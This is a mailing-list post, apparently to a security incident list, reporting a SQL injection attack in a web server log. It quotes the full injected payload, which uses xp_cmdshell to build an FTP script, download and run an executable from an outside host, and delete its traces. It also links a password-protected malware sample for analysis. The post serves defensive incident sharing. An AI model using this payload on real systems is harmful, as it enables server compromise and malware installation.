Re: [Dshield] SQL injection worm ?

["Maxime Ducharme" <mducharme () cybergeneration com>]

Hi to the List

today we received the same SQL injection attack
on the same URL :

IP : 24.1.139.29
(c-24-1-139-29.client.comcast.net)
User Agent : none sent
HTTP Verb : GET /theasppage.asp?anID=
Attack :
377';exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo binary >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get lol.exe
%systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'%systemroot%\system32\Macromed\lolx\arcdlrde.exe'--

The lol.exe file can be found in this archive for inspection :
http://www.cybergeneration.com/security/2005.01.19/lol.zip
zip pass is das978tewa234

Norton with definitions of 12 jan. doesnt find anything
suspicious.

I'm interested if someone do an analysis on this file.

Have a nice day
